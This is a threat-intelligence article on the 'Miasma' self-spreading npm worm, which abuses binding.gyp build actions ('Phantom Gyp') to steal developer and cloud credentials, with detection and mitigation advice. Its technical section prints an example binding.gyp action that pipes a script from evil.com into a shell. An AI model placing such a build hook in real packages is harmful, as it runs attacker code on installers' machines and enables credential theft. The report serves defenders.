Self-Propagating "Miasma" Worm Spreads via npm Using "Phantom Gyp" to Steal Credentials

"Miasma" Worm Spreads Through npm Using Novel "Phantom Gyp" Evasion Technique

CRITICAL
July 2, 2026
July 22, 2026
6m read
Supply Chain AttackMalwareThreat Actor

Related Entities(initial)

Threat Actors

TeamPCP

Organizations

AWSGCPAzureHashiCorpRed HatMicrosoft StepSecuritySnyk

Products & Tech

npmnode-gypKubernetes

Other

MiasmaMini Shai-HuludGitHub

Full Report(when first published)

Executive Summary

A highly sophisticated, self-replicating worm known as Miasma is actively compromising the npm open-source ecosystem through a novel supply chain attack. Security researchers from multiple firms, including StepSecurity, Snyk, and Microsoft, have detailed the campaign, which uses an evasive technique they've named "Phantom Gyp." Instead of relying on preinstall or postinstall scripts in package.json, the malware executes code via binding.gyp files during the npm install process. This allows it to bypass many static analysis security tools. The Miasma worm is a potent credential stealer, harvesting secrets from developer environments and CI/CD pipelines, and then using those stolen credentials to publish more infected packages, creating a rapidly spreading infection.


Threat Overview

The Miasma worm represents a significant evolution in supply chain attacks. Its self-propagating nature allows it to spread exponentially without direct continuous operator involvement. The attack, attributed in part to a cluster known as TeamPCP, leverages the Mini Shai-Hulud worm code released publicly in May 2026.

The attack chain is as follows:

  1. Initial Compromise: A developer installs a compromised npm package.
  2. Evasive Execution: During the npm install command, the node-gyp tool processes a malicious binding.gyp file within the package. This triggers the execution of a malicious script, a technique that evades security scanners focused on package.json scripts.
  3. Payload Staging: The initial script downloads the Bun JavaScript runtime to further evade detection tools focused on Node.js behavior, and then executes the main payload.
  4. Credential Harvesting: The Miasma payload scrapes the environment for a wide array of secrets, including npm tokens, GitHub credentials, AWS, GCP, and Azure keys, HashiCorp Vault tokens, Kubernetes configs, local SSH keys, and browser data.
  5. Propagation: The worm uses stolen npm tokens to publish new malicious versions of other packages owned by the compromised developer. It also uses stolen GitHub credentials to inject malicious steps into the victim's CI/CD workflows (e.g., GitHub Actions) for persistence and further spread.

Technical Analysis

The core innovation of this attack is the "Phantom Gyp" technique, an abuse of a legitimate build process. The binding.gyp file is a JSON-like file used by node-gyp to configure how native C++ addons are compiled. Attackers have embedded a command in the targets section of this file that is executed by the system's shell during the installation process, a form of T1189 - Drive-by Compromise.

An example of a malicious binding.gyp entry:

{
  "targets": [
    {
      "target_name": "malicious_build",
      "sources": [],
      "actions": [
        {
          "action_name": "run_payload",
          "inputs": [],
          "outputs": [],
          "action": ["sh", "-c", "curl -sL https://evil.com/payload.sh | sh"]
        }
      ]
    }
  ]
}

The worm's ability to propagate via CI/CD pipelines is particularly dangerous. By modifying github/workflows files, it can compromise the software build process itself, injecting the worm into legitimate software artifacts and potentially spreading it to downstream users and customers. This is a classic example of T1199 - Trusted Relationship abuse.

Impact Assessment

The Miasma worm poses a critical threat to the software development ecosystem:

  • Widespread Credential Theft: The worm can lead to the mass compromise of developer and cloud infrastructure credentials, providing attackers with broad access to sensitive systems.
  • Rapid, Uncontrolled Spread: Its worm-like nature means a single compromised developer can trigger a chain reaction, infecting dozens of other packages and developers.
  • CI/CD Pipeline Poisoning: Compromising the build process can lead to trojanized software being shipped to customers, turning a developer-focused problem into a widespread customer-facing incident.
  • Erosion of Trust in Open Source: Attacks like this undermine trust in the open-source package registries that modern software development relies on.

The scale is significant; one compromised package, @vapi-ai/server-sdk, has over 400,000 monthly downloads, illustrating the potential reach of the infection.

IOCs — Directly from Articles

No specific file hashes, IP addresses, or domains were provided in the source articles.

Cyber Observables — Hunting Hints

Security teams may want to hunt for the following patterns to detect related activity:

Type
File Name
Value
binding.gyp
Description
The presence of a binding.gyp file in a package that has no legitimate reason to compile native addons is highly suspicious.
Type
Process Name
Value
node-gyp
Description
Monitor for node-gyp processes that spawn unexpected child processes, such as curl, wget, or shell scripts.
Type
Process Name
Value
bun
Description
The presence of the Bun runtime (bun) in a CI/CD environment or on a developer machine where it is not explicitly used is a strong indicator of this campaign.
Type
File Path
Value
.github/workflows/
Description
Monitor for unexpected modifications to GitHub Actions workflow files, especially those that add new run steps with obfuscated commands.

Detection & Response

  1. Scan for Malicious binding.gyp: Use static analysis tools or custom scripts to scan npm dependencies for binding.gyp files containing suspicious actions or shell commands.
  2. Monitor Build Processes: Instrument CI/CD pipelines to monitor for anomalous behavior during npm install. Look for unexpected network connections, file system access outside the project directory, or the execution of unexpected processes (bun). This aligns with D3FEND's Process Analysis (D3-PA).
  3. Dependency Tree Analysis: Use tools like npm ls to check for the presence of known compromised packages in your projects' dependency trees.
  4. Credential Scanning: Regularly scan code repositories and CI/CD logs for accidentally exposed credentials.

Mitigation

  1. Use --ignore-scripts: When running npm install in CI/CD pipelines or for simple dependency checks, use the --ignore-scripts flag. This will prevent preinstall, postinstall, and node-gyp build scripts from running. Note that this will break packages that legitimately need to compile addons.
  2. Vet Dependencies: Before adding a new dependency, scrutinize its health. Check for recent updates, the number of maintainers, and the presence of suspicious files like binding.gyp.
  3. Lock Dependencies: Use a lockfile (package-lock.json) and do not automatically update to the latest versions of packages without review. This prevents a newly compromised version from being pulled into your build.
  4. Principle of Least Privilege in CI/CD: Ensure that CI/CD jobs have only the minimum necessary permissions. Use short-lived, scoped access tokens instead of persistent secrets wherever possible. This is a form of D3FEND's User Account Permissions (D3-UAP).

Timeline of Events

1
June 3, 2026
A rapid campaign was observed where attackers published over 286 malicious versions across 57 npm packages in under two hours.
2
July 2, 2026
This article was published

Article Updates

July 22, 2026

Miasma worm campaign expands to PyPI with Hades variant, using .pth files for persistence. Over 100 packages compromised, increasing overall impact.

MITRE ATT&CK Mitigations

Preventing the execution of arbitrary scripts during package installation, such as with the '--ignore-scripts' flag, is a key mitigation.

Mapped D3FEND Techniques:

Running build processes in isolated, ephemeral containers can limit the worm's ability to access persistent credentials or propagate.

Mapped D3FEND Techniques:

Using short-lived, narrowly scoped credentials in CI/CD pipelines minimizes the impact if they are stolen.

Mapped D3FEND Techniques:

Timeline of Events

1
June 3, 2026

A rapid campaign was observed where attackers published over 286 malicious versions across 57 npm packages in under two hours.

Article Author

Jason Gomes

Jason Gomes

• Cybersecurity Practitioner

Cybersecurity professional with over 10 years of specialized experience in security operations, threat intelligence, incident response, and security automation. Expertise spans SOAR/XSOAR orchestration, threat intelligence platforms, SIEM/UEBA analytics, and building cyber fusion centers. Background includes technical enablement, solution architecture for enterprise and government clients, and implementing security automation workflows across IR, TIP, and SOC use cases.

Threat Intelligence & AnalysisSecurity Orchestration (SOAR/XSOAR)Incident Response & Digital ForensicsSecurity Operations Center (SOC)SIEM & Security AnalyticsCyber Fusion & Threat SharingSecurity Automation & IntegrationManaged Detection & Response (MDR)

Editorial Standards & Analyst Review

CyberNetSec.io uses automation to assist source monitoring, deduplication, observable extraction, and structured intelligence generation. Published analysis follows human-defined editorial standards and adds defensive context including MITRE ATT&CK, D3FEND, STIX, and Sigma where applicable. Read our editorial policy.

Tags

MiasmaPhantom GypnpmSupply Chain AttackWormCredential TheftCI/CD

📢 Share This Article

Help others stay informed about cybersecurity threats

🎯 MITRE ATT&CK Mapped

Every tactic, technique, and sub-technique used in this threat has been identified and mapped to the MITRE ATT&CK framework for consistent, actionable threat language.

🧠 Enriched & Analyzed

Observables and indicators of compromise (IOCs) have been extracted and cataloged. Risk has been assessed and correlated with known threat actors and historical campaigns.

🛡️ Actionable Guidance

Detection rules, incident response steps, and D3FEND-aligned mitigation strategies are included so your team can act on this intelligence immediately.

🔗 STIX Visualizer

Structured threat data is packaged as a STIX 2.1 bundle and can be visualized as an interactive graph — relationships between actors, malware, techniques, and indicators.

Sigma Generator

Sigma detection rules are derived from the threat techniques in this article and can be converted for deployment across any major SIEM or EDR platform.